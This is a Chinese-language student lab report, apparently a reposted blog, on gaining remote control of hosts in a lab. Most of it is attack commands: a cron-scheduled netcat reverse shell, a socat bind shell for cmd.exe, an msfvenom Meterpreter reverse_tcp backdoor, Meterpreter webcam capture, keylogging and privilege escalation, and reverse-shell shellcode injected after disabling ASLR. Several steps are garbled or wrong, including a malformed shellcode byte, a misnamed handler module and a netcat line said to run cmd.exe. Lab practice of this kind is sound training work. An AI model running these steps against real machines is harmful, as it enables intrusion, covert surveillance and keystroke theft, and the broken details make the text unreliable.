本文共 3554 字,大约阅读时间需要 11 分钟。
本次实验内容涵盖从基础到进阶的多个实践任务,涉及如何利用常用工具获取主机操作权限,以及如何利用后门程序实现远程控制等内容。以下是实验的详细步骤说明:
Cron是Linux系统中的定时任务命令,用于配置一行或多行命令按一定时间间隔执行。本次实验需要配置一个定时任务,该任务在特定时间反弹连接到目标主机,并通过Netcat启动一个交互式Shell。
在Windows系统中: 1. 按下win + r
键,输入cmd
并选择确定。 2. 在命令提示符中输入nc -l -p 1314
,将端口1314监听。 3. 在Kali系统中,使用crontab -e
进入crontab编辑界面,选择用3
选择编辑器。 4. 在crontab文件中添加以下行:
16 * * * * /bin/netcat 192.168.31.58 1314 -e /bin/sh5. 这条命令表示每小时的16分钟启动一次反向连接到目标主机的1314端口,并执行
cmd.exe
程序。 6. 成功完成后,通过在Windows系统中 nc 172.16.214.132 1314
或其他指令验证反弹连接是否建立,随后即可在命令提示符中获得Shell权限。 socat是一个功能强大的网络工具,能够建立双向字节流连接。与Netcat类似,socat可以在特定端口绑定并运行外部程序,这也是获取Shell权限的重要方法之一。
在Kali系统中: 1. 打开“计算机管理”,进入“任务计划程序” -> “创建新任务”。 2. 在任务计划的操作步骤中,选择运行socat.exe或其他脚本文件。 3. 在参数中填写tcp-listen:1314 exec:cmd.exe,pty,stderr
,将cmd.exe绑定到1314端口。 4. 在命令终端中执行socat - tcp:192.168.43.220:1314
。 5. 确认连接成功后,通过在目标主机的命令提示符中执行dir
、ipconfig
等指令验证Shell权限。
MSF Venice(Veil框架的扩展部分)可以生成可执行文件中的后门程序,该程序能够绕过杀毒软件并提供远程访问权限。以下是生成后门程序及运行的具体步骤:
生成文件: 1. 使用以下命令生成后门程序:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.121.133 LPORT=1314 -f exe > 20181314_backdoor.exe2. 选项说明: -
-p
:指定支付载荷(payload),这里使用Meterpreter反向TCPPayload。 - -x
:指定可执行文件的模板。 - -e
:选择编码器,用于对生成的payload进行变形以规避杀毒软件检测。 - -b
:可选项,用于排除不必要的字符。 - LHOST
:目标主机的IP地址。 - LPORT
:目标主机的端口号。 传输并运行后门程序: 1. 在Windows系统中运行:
ncat -l 1314 > 20181314_backdoor.exe2. 确认目标主机已进入接收模式,在反弹终端上执行
nc 192.168.43.220 1314
验证连接状态。 3. 左右传输完成后,目标主机即可通过Meterpreter框架获得Shell控制权限。 在成功获取Shell权限后,可以利用Meterpreter的功能进一步对目标主机进行操作,包括:摄像头拍摄、键盘记录、系统信息收集等,同时尝试提权以获得更高级别的访问权限。
操作步骤: 1. 使用Meterpreter的webcam_snap
命令拍摄目标主机的摄像头输入:
meterpreter> webcam snapshot C:\path\to\image.jpg2. 使用
keyscan_start
开始记录键盘输入: meterpreter> keyscan_start > keydump.log3. 使用
keyscan_dump
读取记录: meterpreter> keyscan_dump < keydump.log4. 使用
screenshot
获取目标主机的截图: meterpreter> screenshot C:\path\to\screenshot.png5. 使用
getuid
查看当前用户: meterpreter> getuid6. 使用
getsystem
尝试提权: meterpreter> getsystem7. 提权成功后,可以执行更高权限的操作如禁用防火墙、安装系统程序等。
在实际情境中,攻击者可能会将Shellcode注入到可执行程序中,例如共享文件或其他常用程序中。当目标用户运行该程序时,Shellcode会触发并建立反弹连接,获得Shell权限。
具体操作: 1.下载并测试攻击者提供的Linux/x64反弹Shellcode:
Linux/x64 - Reverse (127.1.1.1:4444/TCP) Shell (/bin/sh) Shellcode (123 Bytes)2.运行以下命令关闭随机地址空间加密以提高注入成功率:
echo "0" > /proc/sys/kernel/randomize_va_space3. 使用 Perl 脚本生成注入数据:
perl -e 'print "A" x 32;print"\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x99\x0f\x05\x50\x5f\x52\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x6a\x2a\x58\x54\x5e\x6a\x10\x5a\x0f\x05\x48\xff\xce\x79\xf6\x6a\x01\x58\x49\xb9\x50\x6173\x73\x77\x64\x3a\x20\x41\x51\x54\x5e\x6a\x08\x5a\x0f\x05\x48\x31\xc0\x48\x83\xc6\x08\x0f\x05\x48\xb8\x31\x32\x33\x34\x35\x36\x37\x38\x56\x5f\x48\xaf\x75\x1a\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\x52\x54\x5a\x57\x54\x5e\x0f\x05"' > input_shellcode4. 在目标程序中注入攻击数据:
cat input; cat | ./pwn15. 在msfconsole中启动Metasploit模块并设置反弹:
use exploit/multi/handlers set payload linux/x86/shell_reverse_tcp set LHOST 127.0.0.1 set LPORT 4444 show options6. 输入生成的攻击数据并快速按回车键,完成注入后即可在Kali终端中获取Shell权限。
在实验过程中可能会遇到一些问题,例如在Windows系统中使用getsystem
失败。但通过深入研究和查阅资料,可以逐步解决这些问题,提升自己的技能。
通过本次实验,我不仅掌握了常用工具的使用方法,还深入了解了后门程序的技术细节和潜在危害。同时,这次实验也让我认识到细节至关重要,一小失误可能导致整个攻击失败或被守卫察觉。这也是为什么专业人士在进行安全运维和攻防时都需要特别谨慎的原因。
转载地址:http://urpaz.baihongyu.com/